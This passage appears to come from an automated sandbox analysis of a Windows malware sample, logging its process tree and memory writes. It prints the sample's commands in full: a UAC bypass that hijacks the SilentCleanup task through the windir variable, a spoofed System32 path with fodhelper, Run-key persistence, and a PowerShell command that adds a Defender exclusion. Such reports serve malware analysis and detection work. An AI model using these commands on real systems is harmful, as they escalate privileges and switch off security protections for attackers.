2952 2064 cmd.exe 83 PID 2952 wrote to memory of 2284 2952 fodhelper.exe 84 PID 2952 wrote to memory of 2284 2952 fodhelper.exe 84 PID 2284 wrote to memory of 3512 2284 cmd.exe 86 PID 2284 wrote to memory of 3512 2284 cmd.exe 86 PID 3512 wrote to memory of 2520 3512 cmd.exe 87 PID 3512 wrote to memory of 2520 3512 cmd.exe 87 PID 2520 wrote to memory of 1872 2520 WScript.exe 88 PID 2520 wrote to memory of 1872 2520 WScript.exe 88 PID 1872 wrote to memory of 416 1872 cmd.exe 90 PID 1872 wrote to memory of 416 1872 cmd.exe 90
Processes
-
C:\Users\Admin\AppData\Local\Temp\de211b9bc6b587b466a9fa4f73aed579.exe"C:\Users\Admin\AppData\Local\Temp\de211b9bc6b587b466a9fa4f73aed579.exe"1⤵
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:3564 -
C:\Windows\SysWOW64\TapiUnattend.exe"C:\Windows\System32\TapiUnattend.exe"2⤵PID:3420
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Public\Natso.bat3⤵PID:2364
-
C:\Windows\SysWOW64\reg.exereg delete hkcu\Environment /v windir /f4⤵
- Modifies registry key
PID:1464
-
-
C:\Windows\SysWOW64\reg.exereg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\x.bat reg delete hkcu\Environment /v windir /f && REM "4⤵
- Modifies registry key
PID:1208
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I4⤵PID:1160
-
-
C:\Windows\SysWOW64\reg.exereg delete hkcu\Environment /v windir /f4⤵
- Modifies registry key
PID:4016
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Public\Runex.bat3⤵PID:2064
-
C:\Windows \System32\fodhelper.exe"C:\Windows \System32\fodhelper.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2952 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Public\x.bat5⤵PID:2284
-
C:\Windows\system32\cmd.execmd /c C:\Users\Public\x.vbs6⤵
- Modifies registry class
PID:3512 -
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Public\x.vbs"7⤵PID:2520
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Public\cde.bat" "8⤵PID:1872
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local9⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:416
-
-
-
-
-
-
-
-
-
C:\Program Files (x86)\internet explorer\ieinstal.exe"C:\Program Files (x86)\internet explorer\ieinstal.exe"2⤵PID:2020
-